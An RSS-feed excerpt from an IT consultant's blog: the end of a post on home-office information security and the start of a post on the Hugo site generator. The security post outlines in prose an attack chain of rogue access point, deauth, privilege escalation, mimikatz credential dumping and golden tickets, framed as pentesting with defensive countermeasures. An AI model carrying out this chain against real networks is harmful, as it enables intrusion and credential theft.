&lt;p>Basically, information security guidelines for home office workplaces MUST be developed, starting and committed by the company&amp;rsquo;s top management&lt;sup id="fnref:4">&lt;a href="#fn:4" class="footnote-ref" role="doc-noteref">4&lt;/a>&lt;/sup>. Top management must not only approve the guidelines but also ensure that every employee understands them. This implies an appropriateness that fits the respective working situation. Nobody will be able to understand or execute instructions like &amp;ldquo;You must encrypt files AES 256&lt;sup id="fnref:5">&lt;a href="#fn:5" class="footnote-ref" role="doc-noteref">5&lt;/a>&lt;/sup>&amp;rdquo;.&lt;/p>
&lt;p>Without proper training and awareness, no one should be assigned to a home office and left alone. Of course, nobody will admit by himself to have shortfalls in the use of his/her day-to-day tools, but that&amp;rsquo; s another issue.&lt;/p>
&lt;p>Clear performance or abortion criteria and, if necessary, the option of imposing sanctions should be available. Not everyone is able to work from his/her home office. That&amp;rsquo;s a fact and nothing to worry about. It only turns into a problem if it is not taken into consideration before.&lt;/p>
&lt;p>Homeoffice workplaces are understood as mobile IT systems that require special security measures&lt;sup id="fnref:6">&lt;a href="#fn:6" class="footnote-ref" role="doc-noteref">6&lt;/a>&lt;/sup> beyond a basic protection&lt;sup id="fnref:7">&lt;a href="#fn:7" class="footnote-ref" role="doc-noteref">7&lt;/a>&lt;/sup> to protect against threats such as theft, unauthorized access or network transitions (home network, mobile network). Simply pulling a computer out of the internal network using a VPN does not meet these requirements. Additional regulations for backups&lt;sup id="fnref:8">&lt;a href="#fn:8" class="footnote-ref" role="doc-noteref">8&lt;/a>&lt;/sup> and multi-factor authentication&lt;sup id="fnref:9">&lt;a href="#fn:9" class="footnote-ref" role="doc-noteref">9&lt;/a>&lt;/sup> for remote access must be found.&lt;/p>
&lt;p>If a dial-up via VPN is made, meaning linking and connecting to the organization&amp;rsquo;s network, then this has to secured additionally on network level&lt;sup id="fnref:10">&lt;a href="#fn:10" class="footnote-ref" role="doc-noteref">10&lt;/a>&lt;/sup>. IDS/IPS systems are mentioned and recommended explicitly. And usually when it comes to a segmented corporate network, we rarely speak of only one system, there should be multiple ones, at least one in each logical entity or location. Against the general recommendations of many retailers, who tend to lead customers straight into digital dependency with expensive subscription plans from Fortinet, Sophos and others on extra hardware, I&amp;rsquo;m talking about open source IDS/IPS systems, which are neither expensive nor complex and can be operated on standard hardware.&lt;/p>
&lt;p>Last but not least: When it comes to portable IT devices and increasing video and screen sharing activities, the question arises more than ever before: What to do if the device or credentials have been lost? Who informs whom, where should accounts be blocked immediately? &lt;sup id="fnref:11">&lt;a href="#fn:11" class="footnote-ref" role="doc-noteref">11&lt;/a>&lt;/sup>. Something I see frequently: Copy &amp;amp; Paste while screen sharing or remote controlled. I wonder if people are familiar with the fact that clipboard content is shared with the participants aswell only depending what software is used? I have a nice little tool that polls the content from the clipboard into a text file every second. Quite nasty isn&amp;rsquo;t it?&lt;/p>
&lt;p>Kudos to all who implemented information security guidelines before Corona and who were able to apply them without any arguments and especially who remained resistant to the bullshitters talking about &amp;ldquo;Exceptional times require exceptional measures&amp;rdquo;. However, those who do not have an information security management and neither used the lockdown as boost to establish one, will most likely be among those who are currently messing up their digitization. The question is not &amp;ldquo;if&amp;rdquo; but &amp;ldquo;when&amp;rdquo; everything will go to shit.&lt;/p>
&lt;p>As a recreational pilot, I like to draw comparisons with aviation. Risks and threats have to be balanced and mastered when dealing with complex technology. If you don&amp;rsquo;t plan your flight in advance, if you don&amp;rsquo;t catch up with the weather forecast, if you do not use NOTAMs and finally if you never learned how to use checklists and consider them as a escape from a &amp;ldquo;trajectory of accident opportunity&amp;rdquo;&lt;sup id="fnref:12">&lt;a href="#fn:12" class="footnote-ref" role="doc-noteref">12&lt;/a>&lt;/sup>, then you might be able to fly around your home airfield for many years. However, in the first dicey situation beyond your comfortzone you&amp;rsquo;re surely doomed.&lt;/p>
&lt;p>An evil aviation proverb says: &amp;ldquo;The air cleans itself&amp;rdquo;. Unfortunately, I am not aware of any comparable proverb in information security.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/homeoffice-error-trajectory.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/homeoffice-error-trajectory.webp#c" alt="Grafic Error-Trajectory" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;h2 id="internal-windows-computer-with-external-vpn-dial-in">Internal Windows computer with external VPN dial-in&lt;/h2>
&lt;p>The usual home office workstation consists of a Windows notebook, managed by the company&amp;rsquo;s internal Active Directory (AD) and equipped with VPN access for dial-up via the home WLAN. This configuration presents various challenges:&lt;/p>
&lt;ul>
&lt;li>
&lt;p>Private networks do not have an adequate level of protection. The bandwidth ranges from outdated or incorrectly configured routers, existing malware on other computers to unknown network configuration flaws.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Computers operated in this way are &amp;ldquo;dual homed&amp;rdquo;&lt;sup id="fnref:13">&lt;a href="#fn:13" class="footnote-ref" role="doc-noteref">13&lt;/a>&lt;/sup>, in other words connected to several interfaces in different networks, usually to the private WLAN and the corporate network.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>The security of the entire network depends on the security of the weakest member. Any dual homed device becomes a prime target for attacks, as it is usually more accessible and less protected than the more hardened and controlled network gateway.&lt;/p>
&lt;/li>
&lt;/ul>
&lt;h3 id="excursus-wlan-hacking">Excursus: WLAN hacking&lt;/h3>
&lt;p>At this point a short journey into the world of pentesting and WLAN hacking. Apart from the know-how, only a little bit of crafting skills are needed to create a WLAN sniffer. I&amp;rsquo;m quite lazy and using a ready-to-hack Pineapple&lt;sup id="fnref:14">&lt;a href="#fn:14" class="footnote-ref" role="doc-noteref">14&lt;/a>&lt;/sup> which gives me the advantage of being able to automate many functions and get beautiful summaries.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/homeoffice-pentesting-gear1.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/homeoffice-pentesting-gear1.webp#c" alt="Pineapple in action" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>The procedure is always the same:&lt;/p>
&lt;ul>
&lt;li>Determining the target device from the number of radio devices&lt;/li>
&lt;li>Record and examine all WLAN/MAC addresses requested by this device&lt;/li>
&lt;li>Spoofing a WLAN known to the device with a RogueAP&lt;sup id="fnref:15">&lt;a href="#fn:15" class="footnote-ref" role="doc-noteref">15&lt;/a>&lt;/sup>&lt;/li>
&lt;li>Deauth attack&lt;sup id="fnref:16">&lt;a href="#fn:16" class="footnote-ref" role="doc-noteref">16&lt;/a>&lt;/sup> to disconnect and reconnect with your own RogueAP&lt;/li>
&lt;/ul>
&lt;p>Please note this disclaimer: Deauth attacks represent a criminal offence as a hacker attack and in addition are prohibited by the German Federal Regulatory Authorities&lt;sup id="fnref:17">&lt;a href="#fn:17" class="footnote-ref" role="doc-noteref">17&lt;/a>&lt;/sup>. These may only be carried out in the own network and equipment and under laboratory conditions with weak transmitting levels. It is smarter to set up a RogueAP in unexpected places with the SSID/MAC of the home network and just wait until your notebook connects automatically.&lt;/p>
&lt;p>Interestingly an ideal place is the office within the company, exactly when the notebook is plugged into the corporated network by a wired connection but keeping the WLAN activated. That&amp;rsquo;s where Windows is limited by the fact, that it doesn&amp;rsquo;t know anything about network profiles or up/down rules. It simply connects to the known home network without prompting the user.&lt;/p>
&lt;p>Using such a well positioned RogueAP (ironically housed in a small arms case) I can run it for some days. As soon as the target computer is on the hook, I receive an email notification as a new man-in-the-middle&lt;sup id="fnref:18">&lt;a href="#fn:18" class="footnote-ref" role="doc-noteref">18&lt;/a>&lt;/sup>. This was the more complex part.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/homeoffice-pentesting-gear2.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/homeoffice-pentesting-gear2.webp#c" alt="RogueAP" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;h3 id="via-the-computer-into-the-corporate-network">Via the computer into the corporate network&lt;/h3>
&lt;p>In order to takeover a computer, local administration rights are required. Unfortunately, these are still assigned far too carelessly. It doesn&amp;rsquo;t have to be due ancient software. Modern, colourful and shiny gaming mice or keyboards &lt;sup id="fnref:19">&lt;a href="#fn:19" class="footnote-ref" role="doc-noteref">19&lt;/a>&lt;/sup> might indicate even from afar that someone is possibly working with local admin rights. As a rule of thumb, these are usually power users or those who are considered most advanced, trendy or skilled.&lt;/p>
&lt;p>It really doesn&amp;rsquo;t get complicated when you have to obtain local admin rights. This usually requires a vulnerability for privilege escalation&lt;sup id="fnref:20">&lt;a href="#fn:20" class="footnote-ref" role="doc-noteref">20&lt;/a>&lt;/sup>. Careless Adminstrators are also welcome when passwords are stored in plaintext all over the system. In my experience, the possibilities on managed domain computers are far better than on private ones. They don&amp;rsquo;t have service accounts, logon- or update-scripts, remote backups, time-recording, monitoring or inventory software.&lt;/p>
&lt;p>There are enough YouTube clips&lt;sup id="fnref:21">&lt;a href="#fn:21" class="footnote-ref" role="doc-noteref">21&lt;/a>&lt;/sup> and Internet tutorials&lt;sup id="fnref:22">&lt;a href="#fn:22" class="footnote-ref" role="doc-noteref">22&lt;/a>&lt;/sup> which are much better at explaining how to take over a Windows computer. Not every tool fits the target at the first attempt.&lt;/p>
&lt;p>As a matter of fact: Once on a Windows workstation, which is simultaneously a domain member of a corporate network, and the match is over. Quite comparable to a 5:1 in the 85th minute in an international soccer match: Obtain debugging privileges, execute mimikatz&lt;sup id="fnref:23">&lt;a href="#fn:23" class="footnote-ref" role="doc-noteref">23&lt;/a>&lt;/sup>, read the passwords in plain text, job done!&lt;/p>
&lt;p>One small piece of comfort left: The game is not quite over yet. Bonus miles are only available when the Kerberos TGT User&lt;sup id="fnref:24">&lt;a href="#fn:24" class="footnote-ref" role="doc-noteref">24&lt;/a>&lt;/sup> and the &amp;ldquo;golden ticket&amp;rdquo; are obtained. That&amp;rsquo;s the final blow to any AD infrastructure. From this point on, only a new installation of all servers and workstations would help.&lt;/p>
&lt;p>Unfortunately, this is exactly what stakeholders do over and over and over again in the hope that something will change. Vaas Montenegro sends his greetings&lt;sup id="fnref:25">&lt;a href="#fn:25" class="footnote-ref" role="doc-noteref">25&lt;/a>&lt;/sup>. Another fun fact: The tools mimikatz and kekeo are actually only &amp;ldquo;side-projects&amp;rdquo; of Benjamin Delphy, the french developer behind. He originally just wanted to learn some C and experience Microsoft Windows&lt;sup id="fnref:26">&lt;a href="#fn:26" class="footnote-ref" role="doc-noteref">26&lt;/a>&lt;/sup>.&lt;/p>
&lt;p>Back to our homeoffice computer. Nobody trusts Microsoft Office documents in email attachments anymore. But the allegedly home network all the more. SMB network shares and printers are willingly shared, and corporate admins assume they are in a trustworthy environment for their corporate VPN. A single line of netsh is enough for a network bridge&lt;sup id="fnref:27">&lt;a href="#fn:27" class="footnote-ref" role="doc-noteref">27&lt;/a>&lt;/sup>.&lt;/p>
&lt;h2 id="safeguard-measures">Safeguard measures&lt;/h2>
&lt;p>To me Windows as operating system is structurally broken and can only be operated safely in isolation without any direct internet access. This would also be the ultimate answer to all questions regarding data protection laws. Of course, this radicalism is rarely practicable and the situation is not as hopeless as it may seem now.&lt;/p>
&lt;p>An application whitelisting, for instance, has been a part of every Windows since Windows XP, regardless of whether you are a domain member or not. Managed and rolled out within an AD, it is called Software Restriction Policy&lt;sup id="fnref:28">&lt;a href="#fn:28" class="footnote-ref" role="doc-noteref">28&lt;/a>&lt;/sup>. This would stop the execution of mimikatz and other tools, for example.&lt;/p>
&lt;p>Another possibility would be to completely avoid WLAN and to set up a home office only using wired and controlled end points.&lt;/p>
&lt;h3 id="concept-of-a-mobile-location">Concept of a mobile location&lt;/h3>
&lt;p>I got the idea from a construction sector client&amp;rsquo;s scenario. A on-site network with three segments was required. In addition to the client&amp;rsquo;s own supervisors, external contractors were also to be given access to the internet, of course wirelessly. As a matter of course besides POE webcams common printers/scanners including SMB network shares for scanned documents should be added. All these things with enough potential to cause severe security nightmares in an environment that can at best be considered as &amp;ldquo;rough&amp;rdquo;. Another contributing factor for increased general uncomfortability is the effect of metal construction containers and all kinds of heavy metal equipment on cellular and WLAN signals&lt;sup id="fnref:29">&lt;a href="#fn:29" class="footnote-ref" role="doc-noteref">29&lt;/a>&lt;/sup>. A robust, flexible and at the same time easy to operate solution (&amp;ldquo;the red cable here, the green cable there&amp;rdquo;) had to be found. The construction site box was born:&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/homeoffice-pentesting-box1.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/homeoffice-pentesting-box1.webp#c" alt="Construction site box" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>A complete network consisting of LTE-Fritzbox, 8-Port POE Switch, an ipfire.org&lt;sup id="fnref:30">&lt;a href="#fn:30" class="footnote-ref" role="doc-noteref">30&lt;/a>&lt;/sup> Firewall and some more extras. Securely stored in a lockable 10&amp;quot;, 6U metal chassis. The remote peer in the company also consists of an ipfire and enables fine-grained access to selected resources with firewall and routing rules. Two IDS/IPS&lt;sup id="fnref:31">&lt;a href="#fn:31" class="footnote-ref" role="doc-noteref">31&lt;/a>&lt;/sup> run independently on both sides with SNORT rules reporting and blocking suspicious pings, network or port scans.&lt;/p>
&lt;h2 id="my-own-homeoffice">My own homeoffice&lt;/h2>
&lt;p>I have such a box in my own home office. One nice detail: The 10&amp;quot; network chassis made by the Sauerland-based manufacturer fits perfectly into an IKEA KALLAX/EXPEDIT shelf.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/homeoffice-pentesting-box2.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/homeoffice-pentesting-box2.webp#c" alt="Homeoffice-Box" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>Apart from the previously presented construction site box, I use different gadgets such as a managed switch and a higher quality firewall with 4x Gigabit interfaces. But the principle remains the same: Only the secure, hard-wired green segment is connected to my office via VPN. The radios of the connected devices remain switched off.&lt;/p>
&lt;p>With a switch, socket rail and insertable shelves, such a small enclosure is priced around 150-200,- EUR. A barebone for the ipfire.org is also available in the same price range. On top of that there is also time for planning, assembly and installation. Put all this together, it&amp;rsquo;s just a fraction of the costs and damage that may occur in the worst-case scenario.&lt;/p>
&lt;p>The biggest benefit: As long as only standard hardware and free open source software is used, you remain completely independent from the price and product policy of the major tech companies with their own concepts of product life cycles, IT security and data protection.&lt;/p>
&lt;p>This is what I consider as sustainable, flexible and long-term digitalization.&lt;/p>
&lt;div class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1">
&lt;p>&lt;a href="https://www.campus.de/e-books/wirtschaft-gesellschaft/wirtschaft/schwarmdumm-9794.html">https://www.campus.de/e-books/wirtschaft-gesellschaft/wirtschaft/schwarmdumm-9794.html&lt;/a>&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:2">
&lt;p>&lt;a href="https://www.campus.de/buecher-campus-verlag/wirtschaft-gesellschaft/wirtschaft/flachsinn-10854.html">https://www.campus.de/buecher-campus-verlag/wirtschaft-gesellschaft/wirtschaft/flachsinn-10854.html&lt;/a>&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:3">
&lt;p>&lt;a href="https://de.wikipedia.org/wiki/VdS_10000">https://de.wikipedia.org/wiki/VdS_10000&lt;/a>&amp;#160;&lt;a href="#fnref:3" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:4">
&lt;p>VdS 10000, 6.1 and 6.4&amp;#160;&lt;a href="#fnref:4" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:5">
&lt;p>&lt;a href="https://de.wikipedia.org/wiki/Advanced_Encryption_Standard">https://de.wikipedia.org/wiki/Advanced_Encryption_Standard&lt;/a>&amp;#160;&lt;a href="#fnref:5" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:6">
&lt;p>VdS 10000, 10.4 &amp;ldquo;Zusätzliche Maßnahmen für mobile IT-Systeme&amp;rdquo;&amp;#160;&lt;a href="#fnref:6" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:7">
&lt;p>VdS 10000, 10.3 &amp;ldquo;Basisschutz von IT Systemen&amp;rdquo;&amp;#160;&lt;a href="#fnref:7" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:8">
&lt;p>VdS 10000, 16.5.4 &amp;ldquo;Datensicherung mobiler IT-Systeme&amp;rdquo;&amp;#160;&lt;a href="#fnref:8" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:9">
&lt;p>VdS 10000, 11.4.3 &amp;ldquo;Fernzugang&amp;rdquo;&amp;#160;&lt;a href="#fnref:9" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:10">
&lt;p>VdS 10000, 11.4.4 &amp;ldquo;Netzwerkkopplung&amp;rdquo;&amp;#160;&lt;a href="#fnref:10" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:11">
&lt;p>VdS 10000, 10.4.3 &amp;ldquo;Verlust&amp;rdquo;&amp;#160;&lt;a href="#fnref:11" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:12">
&lt;p>James Reason, &amp;ldquo;Human Error&amp;rdquo;, 20th printing 2009, Cambridge University Press, page 208&amp;#160;&lt;a href="#fnref:12" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:13">
&lt;p>&lt;a href="https://de.wikipedia.org/wiki/Dual_homed_host">https://de.wikipedia.org/wiki/Dual_homed_host&lt;/a>&amp;#160;&lt;a href="#fnref:13" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:14">
&lt;p>&lt;a href="https://shop.hak5.org/products/wifi-pineapple">https://shop.hak5.org/products/wifi-pineapple&lt;/a>&amp;#160;&lt;a href="#fnref:14" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:15">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Rogue_access_point">https://en.wikipedia.org/wiki/Rogue_access_point&lt;/a>&amp;#160;&lt;a href="#fnref:15" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:16">
&lt;p>&lt;a href="https://www.elektronik-kompendium.de/sites/net/2109171.htm">https://www.elektronik-kompendium.de/sites/net/2109171.htm&lt;/a>&amp;#160;&lt;a href="#fnref:16" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:17">
&lt;p>&lt;a href="https://www.golem.de/news/bundesnetzagentur-nutzung-von-deauthern-ist-nicht-zulaessig-2001-145911.html">https://www.golem.de/news/bundesnetzagentur-nutzung-von-deauthern-ist-nicht-zulaessig-2001-145911.html&lt;/a>&amp;#160;&lt;a href="#fnref:17" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:18">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Man-in-the-middle_attack">https://en.wikipedia.org/wiki/Man-in-the-middle_attack&lt;/a>&amp;#160;&lt;a href="#fnref:18" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:19">
&lt;p>&lt;a href="https://insider.razer.com/index.php?threads/every-time-i-start-cortex-it-asks-for-admin-permissions.54669/">https://insider.razer.com/index.php?threads/every-time-i-start-cortex-it-asks-for-admin-permissions.54669/&lt;/a>&amp;#160;&lt;a href="#fnref:19" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:20">
&lt;p>&lt;a href="https://de.wikipedia.org/wiki/Rechteausweitung">https://de.wikipedia.org/wiki/Rechteausweitung&lt;/a>&amp;#160;&lt;a href="#fnref:20" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:21">
&lt;p>&lt;a href="https://www.youtube.com/watch?v=saF9epFwzPE">https://www.youtube.com/watch?v=saF9epFwzPE&lt;/a>&amp;#160;&lt;a href="#fnref:21" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:22">
&lt;p>&lt;a href="https://adsecurity.org/?p=4367">https://adsecurity.org/?p=4367&lt;/a>&amp;#160;&lt;a href="#fnref:22" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:23">
&lt;p>&lt;a href="https://github.com/gentilkiwi/mimikatz">https://github.com/gentilkiwi/mimikatz&lt;/a>&amp;#160;&lt;a href="#fnref:23" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:24">
&lt;p>🚫 &lt;a href="https://www.christophertruncer.com/golden-ticket-generation/">https://www.christophertruncer.com/golden-ticket-generation/&lt;/a>&amp;#160;&lt;a href="#fnref:24" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:25">
&lt;p>&lt;a href="https://www.youtube.com/watch?v=d796zw4Vzqw">https://www.youtube.com/watch?v=d796zw4Vzqw&lt;/a>&amp;#160;&lt;a href="#fnref:25" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:26">
&lt;p>&lt;a href="https://www.wired.com/story/how-mimikatz-became-go-to-hacker-tool/">https://www.wired.com/story/how-mimikatz-became-go-to-hacker-tool/&lt;/a>&amp;#160;&lt;a href="#fnref:26" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:27">
&lt;p>&lt;a href="https://docs.microsoft.com/en-us/windows-server/networking/technologies/netsh/netsh">https://docs.microsoft.com/en-us/windows-server/networking/technologies/netsh/netsh&lt;/a>&amp;#160;&lt;a href="#fnref:27" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:28">
&lt;p>&lt;a href="https://docs.microsoft.com/de-de/windows/security/threat-protection/windows-defender-application-control/applocker/using-software-restriction-policies-and-applocker-policies">https://docs.microsoft.com/de-de/windows/security/threat-protection/windows-defender-application-control/applocker/using-software-restriction-policies-and-applocker-policies&lt;/a>&amp;#160;&lt;a href="#fnref:28" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:29">
&lt;p>&lt;a href="https://de.wikipedia.org/wiki/Faradayscher_K%C3%A4fig">https://de.wikipedia.org/wiki/Faradayscher_K%C3%A4fig&lt;/a>&amp;#160;&lt;a href="#fnref:29" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:30">
&lt;p>&lt;a href="https://www.ipfire.org/">https://www.ipfire.org/&lt;/a>&amp;#160;&lt;a href="#fnref:30" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:31">
&lt;p>&lt;a href="https://wiki.ipfire.org/configuration/firewall/ips">https://wiki.ipfire.org/configuration/firewall/ips&lt;/a>&amp;#160;&lt;a href="#fnref:31" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;/div></content></item><item><title>Hugo as Web-Developing Platform</title><link>https://blog.jakobs.systems/en/blog/20200818-hugo-as-web-platform/</link><pubDate>Tue, 18 Aug 2020 18:30:46 +0200</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/blog/20200818-hugo-as-web-platform/</guid><description>Making of blog.jakobs.systems with hugo</description><category>Hugo</category><category>Websites</category><category>Blog</category><category>Development</category><category>Opensource</category><content>&lt;p>At the beginning of the (first?) Corona lockdown in March 2020, I was advised during an nightly Jitsi meeting by a befriended admin from Hamburg about giving Hugo a chance. Probably just after I dropped a rant about Rapidweaver, my previous static site generator on the Mac.&lt;/p>
&lt;h2 id="making-of-blogjakobssystems">Making of blog.jakobs.systems&lt;/h2>
&lt;p>The idea needed to grow for almost half a year, till August, when I finally found a test balloon for Hugo: My personal blog and if everything succeeds, my official website, which is slowly getting rusty.&lt;/p>
&lt;p>Though I wouldn&amp;rsquo;t call myself a Hugo expert (yet), here comes a first insight, a making of and some of my considerations and challenges I had during the development in the recent days.&lt;/p>
&lt;h2 id="whats-hugo">What&amp;rsquo;s Hugo?&lt;/h2>
&lt;p>Hugo is a &lt;a href="https://en.wikipedia.org/wiki/Web_template_system#Static_site_generators">Static Site Generator&lt;/a>. In other words, all contents of a website are created locally on a development machine and then uploaded to a web server.&lt;/p>
&lt;p>This makes it fundamentally different from the numerous online-based content management systems. Generally speaking, content management systems are regarded as a more advanced development and are used today by practically every advertising agency and companies for implementing websites. I find it quite difficult to follow this narrative. In many cases there is no way to talk of further progress. Especially when content management systems are often &amp;ldquo;misused&amp;rdquo; as a business application for something they were never created for.&lt;/p>
&lt;p>First let&amp;rsquo;s look at the advantages and disadvantages of static site generators in general, Hugo in specific and my personal requirements regarding a website:&lt;/p>
&lt;h3 id="advantages">Advantages:&lt;/h3>
&lt;ul>
&lt;li>Hugo is free software with an active developer community.&lt;/li>
&lt;li>It is available on all platforms (Linux, Mac, Windows)&lt;/li>
&lt;li>Hugo creates Internet sites that can be operated server and technology independently throughout the Internet. No matter whether locally in your own network or on an arbitrary web server. Even the usual shared- or mass hosting systems are quite capable.&lt;/li>
&lt;li>Maximum security is achieved by eliminating server-side generated pages and most importantly by reducing complexity on the operational web servers.&lt;/li>
&lt;li>This also results in higher availability and better scalability, especially for critical or massive and simultaneous requested content.&lt;/li>
&lt;li>Content can be maintained offline. An Internet connection is only required to transfer the updates. This is interesting for those who cannot be online permanently or who intentionally do not want to be (e.g. critical company departments), travelling employees with unstable mobile phone connections, and others.&lt;/li>
&lt;li>Flexibility with the &lt;a href="https://golang.org/">script language Go&lt;/a> and the possibility to modularize a website into partials, bundles, templates and themes.&lt;/li>
&lt;li>By using tags, the content can be catalogued and queried with Go. Hugo names such catalogues &lt;a href="https://gohugo.io/content-management/taxonomies/">Taxonomies&lt;/a> and allows the development of comprehensive archives of knowledge and databases of unstructured data.&lt;/li>
&lt;li>Content can be created in the form of text files (markdown) by editors without programming knowledge. Numerous markdown editors for any platform allow undisturbed editing.&lt;/li>
&lt;li>The &lt;a href="https://de.wikipedia.org/wiki/Interoperabilit%C3%A4t">interoperability&lt;/a> of content (text files) and other assets (images, downloads) is provided by Hugo. There is no need to import or export content in a time-consuming and costly manner.&lt;/li>
&lt;li>Regarding [internationalisation](&lt;a href="https://de.wikipedia.org/wiki/Internationalisierung_(software">https://de.wikipedia.org/wiki/Internationalisierung_(software&lt;/a> development)) i18n language files from translation platforms such as &lt;a href="https://weblate.org/en/">Weblate&lt;/a> can be easily integrated and referenced within the code.&lt;/li>
&lt;li>Complete freedom to design a workflow or process by yourself. Editorial content can, for example, come from a repository across a network and automatically be published on a website at predefined intervals, e.g. hourly or daily.&lt;/li>
&lt;li>In combination with git as a version management system, large and comprehensive internet websites can be managed quite transparently. This is often one of the problems with many online content management systems.&lt;/li>
&lt;/ul>
&lt;h3 id="disadvantages">Disadvantages:&lt;/h3>
&lt;ul>
&lt;li>The freedom to realize your own business processes is also a drawback. Many companies neither are able or willing to implement such a process and are quite happy to externalize the creation of a website in parts or as a whole.&lt;/li>
&lt;li>There is no graphical frontend or a development tool comparable to the look and feel of other generators including &lt;a href="https://www.realmacsoftware.com/rapidweaver/"> Rapidweaver &lt;/a>.&lt;/li>
&lt;li>The learning curve at the beginning is steeper and a working environment has to be established on site, which is mostly not the case if you have an online content management system.&lt;/li>
&lt;/ul>
&lt;p>Actually I can&amp;rsquo;t name any more disadvantages. Have I forgotten any? Please give me feedback via email.&lt;/p>
&lt;h3 id="my-requirements-for-a-blog-website">My requirements for a blog/ website:&lt;/h3>
&lt;ul>
&lt;li>no server-side scripts (e.g. PHP).&lt;/li>
&lt;li>no client-side scripting (e.g. Javascripts)&lt;/li>
